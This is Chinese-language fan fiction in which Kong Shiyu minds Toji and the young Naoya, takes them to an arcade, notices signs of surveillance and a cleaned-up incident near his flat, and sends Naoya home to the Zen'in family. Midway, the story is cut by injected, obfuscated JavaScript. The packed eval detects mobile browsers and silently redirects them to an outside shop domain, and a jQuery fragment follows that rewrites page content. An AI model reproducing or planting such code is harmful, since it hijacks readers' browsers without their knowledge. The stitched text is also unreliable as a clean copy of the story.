烟盒里还剩一根。孔时雨把它叼上，下了楼。
早上七点半的大田区，便利店门口有人买咖啡，跟每天一样。
也有几处不一样。
路口那辆灰色轿车，停得太端正。轮胎打直，车头不歪不斜，这条街没人会把车停成这样。车里没人，应该熄火没多久。
便利店门口一个男人，拿着罐咖啡站了很久。孔时雨进去买烟的时候他在，出来的时候还在。罐身上的水珠都干了，没见他喝一口。
另一处不好说在哪，是个角度的问题。街对面二楼一扇半开的窗，视野正好覆盖公寓楼后侧那条消防梯——这栋楼唯一的盲区。孔时雨知道那是盲区，他搬进来第一个星期就把这栋楼该核的核过一遍，门、出口、监控、招牌，老习惯。现在有人替他把盲区补上了。
手笔算是干净。摆在明面上也不起眼。
他在店门口点了烟，风大，用手挡着，打了两次才着。
“连这儿都......阿一西。”
第一口烟出去了，散在早上的风里。
他拎着装了三份早饭的塑料袋往回走。经过那辆灰色轿车的时候，脚步没变，也没看。
——
进门先听见的是直哉的声音。京都话。
“甚尔君，这个电视坏了。”
“没坏。”
“我按到八十几台都是雪花。”
“本来就没那么多台。”
“那买这么多按键做什么？”
甚尔没再答。他坐在地毯上，直哉端端正正盘腿坐在沙发上。白天沙发归他，理由是地毯上有毛。
孔时雨把早饭拆开摆上矮桌。甚尔伸手拿了个饭团，三口干掉。直哉拿起另一个，翻来覆去看了看，包装不会拆，孔时雨拉过那条塑料边帮他扯开，才开始吃。吃相很好，不紧不慢，安安静静的，少有。
“这个米，”直哉咽下去，公允地评价，“尚可。”
孔时雨喝他的咖啡。
九点，直哉开始新的一轮。“甚尔君，陪我过招。”
“不。”
“为什么。”
“没有为什么。”
“那你教我昨天切萝卜那个手法。”
“不。”
“甚尔君。”直哉换了个方向，从地毯那头绕过来，在甚尔面前跪坐下，脊背笔直，摆出一副谈判的架势，“你昨天答应过——”
“没有。”
“你眼神答应了。”
孔时雨把咖啡喝完了。太阳穴在跳。
他想起电玩城。上回的算盘是现成的，小孩自己玩，他坐着刷手机，不用学怎么陪小孩。
上回那个小孩是甚尔。
“出去。”他说，“电玩城。”
直哉抬头，“电玩城是什么？”
甚尔的眼睛从电视上挪开，看了孔时雨一眼。
“不去。”
“我跟他两个人去？”
“不去不就得了。”
孔时雨把空咖啡杯放在矮桌上。
“……约翔太一起总行了吧。”
甚尔没说话，电视里的综艺放完了一个广告。
“行吧。”他最后说。
孔时雨给翔太家打电话。翔太妈妈的声音很热情，翔太的声音更热情，隔着听筒都吵得慌。“电玩城？！去去去！甚尔也去吧？”
“去。”
“好！十分钟！”
——
翔太九分钟就到了楼下，刹住的时候差点从台阶上出溜下去。
“甚尔！”然后冲孔时雨规规矩矩鞠了个躬，“叔叔好！”再看见直哉，愣了一下，“这谁？”
直哉在被介绍之前先自我介绍了。报的是全名，带姓氏，一个字一个字，带着点字正腔圆的矜贵。
“哦——”翔太明显没记住，“那你也一起玩吧！”
直哉张了张嘴。他大概准备了别的台词，没用上。
队形自动排好了。甚尔走最前面。直哉紧跟在他侧后方半步。他试过并排，被肩膀挤回去一次之后，就固定在那半步上了。翔太一会儿跑到甚尔左边说话，一会儿掉队到孔时雨旁边汇报学校的事，路线跟条撒欢的狗一样。
孔时雨走在最后。
几年前也是这条街。那时候前面只有一个，绿卫衣，看见自动贩卖机停一下，看见柴犬想蹲下来摸。现在是三个。
遛一条狗遛成一群了。
——
电玩城还是那块红黄蓝拼命闪的招牌，门口那只卡通熊掉了块漆。
孔时雨换了两筐代币。路过精品柜台的时候，直哉停下，隔着玻璃指最上层一个大盒子。
“这个。”
他没看标价。标价这个东西在他眼里不存在。
“那是抽奖的。”店员说。
“那就抽到为止。”
孔时雨把他拎去了太鼓达人。
翔太拖着甚尔去打格斗街机。翔太连输八局，每一局输完都很振奋。“再来！我刚才差一点！”他差的这一点够大的，孔时雨在后面看着。甚尔打得很随便，一只手搭在摇杆上，眼睛偶尔飘向别处，赢得风平浪静。偶尔他的血条也会掉一截，孔时雨能看得出那是失手还是给的。
直哉起初不玩。他站在机器侧面，手背在身后，像在视察。后来太鼓的鼓槌到了他手里，第一首歌他打得十分用力，节奏全反，屏幕上一排“不可”。
“这个鼓做工不行。”他放下鼓槌。
没人接这句。翔太已经把甚尔拽去了光枪游戏，两个人一人一把红色塑料枪。翔太打自己那半边屏幕，喊得比枪声还响。甚尔单手提着枪，顺手把翔太那边漏的也清了。
“你为什么连我这边的都打了！”
“你死了要投币。”
“你就说舍不得我死就行了。”
甚尔没理他。翔太笑得直不起腰。
直哉站在孔时雨旁边，看着那边。看了一会儿，他开口，语气很平常。
“甚尔君有朋友。”
一句总结，不知道在跟谁说。他昨天说“甚尔君会用菜刀”，前天说“甚尔君看得懂账本”，语气一模一样。
孔时雨把代币筐往直哉手里一塞，“去，抓娃娃。”
——
直哉抓娃娃抓得很郑重。五个币，五次落空，第五次爪子擦着一只饭团猫的耳朵滑过去，他盯着玻璃瞪大了眼睛。
“平民的东西，”他宣布，“小气。”
翔太凑过来看热闹，“甚尔抓这个超厉害的！上次一口气给我抓了三个！”
直哉的视线在翔太脸上停了一下，又转向甚尔。
甚尔被吵得走过来，投了一个币。爪子横移，停，纵移，停，啪，落爪。一只白色的饭团猫掉进出口，他弯腰捡出来，塞进直哉怀里，“别叫了。”
直哉抱着那只饭团猫，低头研究了一会儿。
“这东西的材质——”
没说完。手上倒是抱紧了一点。
——
回去的路上在街口分手。翔太挥着手往自己家那条巷子跑，“下次再来玩啊！”跑出两步又回头，冲直哉，“你也来！”
直哉愣了一下。翔太已经跑远了。
——
剩下这段路，孔时雨照旧走在最后。
到路口的时候，他走慢了一点。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712845|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
灰色轿车不在了。地上四道浅浅的胎印，起步收得很稳，没有急打方向的痕迹。
便利店门口没人。垃圾桶换过袋——现在是下午三点。这家店的垃圾，五年来都是晚上九点收。
再往前，公寓楼后侧那条窄巷，地面是湿的。今天没下雨。水冲得均匀，从墙根一直到下水口，这条巷子五年来没这么干净过。墙上原来贴着的一张旧海报没了，露出一块颜色更深的墙皮，边上一道新鲜的刮痕，半米长，齐腰高。
前面三个变两个的小孩已经拐进了楼门。
孔时雨在巷口站住，点了根烟。
有人来过。来的人没能走。收尾的活儿有人干了，干得很职业，除了过分干净这一点。
他把烟抽完，摁灭在巷口的护栏上，上了楼。
——
晚上九点，两个小孩都安顿了。直哉睡孔时雨那屋，甚尔的屋门关着，灯已经熄了。孔时雨的毯子搭在沙发扶手上。
他在阳台上打了个电话。响了两声就接了，那边寒暄了两句，很客气。
“直哉少爷这边一切都好。”孔时雨说，“吃得好，睡得好。东京没什么好玩的，孩子有点闷了。”
那边客气地笑，“劳您费心。”顿了顿，“府上周围，近来可还清净？”
“清净。”孔时雨说，“托您的福。”
电话那头安静了一秒。
“那就好。明日一早会派人来接，给您添麻烦了。”
“不麻烦。”
挂了电话，他隔着阳台玻璃看了一眼客厅。客厅空着，电视黑的。沙发角上那只褪色的粉色饭团猫还在老地方。
明天来接。禅院的东西，物归原主。
烟烧到指根。他摁灭了，进屋把毯子抖开。
——
第二天九点整，楼下停了辆黑色的车。
上来的是个穿黑西装的中年男人，鞠躬的角度分毫不差。他对直哉毕恭毕敬，对孔时雨客气，有分寸，目光扫过站在走廊里的甚尔时——像扫过一件家具。
“少爷，东西都齐了。”
直哉换好鞋。那只白色饭团猫从他的行李袋口露出半个头，西装男人的视线在上面停了停，什么都没说。
直哉站在门口，忽然回头。
“甚尔君。”
甚尔靠在墙上，没动。
“回去我要跟他们讲。”直哉说得像模像样，像在预告一件大新闻，“甚尔君会用菜刀，会看账本，还有朋友。”
想了想，又补充一句，“朋友挺吵的。”
甚尔耸耸肩，没说行也没说不行。
直哉满意了。他转身下楼，西装男人在车边替他拉开门。车开走的时候，孔时雨在窗口看了一眼。
街对面二楼那扇窗关上了。便利店门口没有站着拿着咖啡不喝的人。这条街上所有停着的车都歪歪扭扭，跟平时一样。
——
孔时雨把自己那屋的床单被套全扒下来塞进洗衣机，窗子推开通风。冰箱里直哉没喝完的高级果汁倒了，瓶子扔掉。矮桌挪回原来的位置——直哉嫌它挡路，挪过十公分。沙发扶手上的毯子叠好，塞回衣柜底。
下午，家里恢复了原样。
洗衣机在响，阳台上晒着被子。甚尔坐回沙发他那个位置，旁边是那只掉色的粉色饭团猫。孔时雨煎了两人份的速冻饺子。
吃完，两个人坐在沙发上看电视。随便一个台，晚间新闻。
看到第十分钟，甚尔开口了，眼睛没离开屏幕。
“下礼拜。”他说，“翔太说还去。”
“嗯。”孔时雨说，“去。”
电视里，某地在下雨。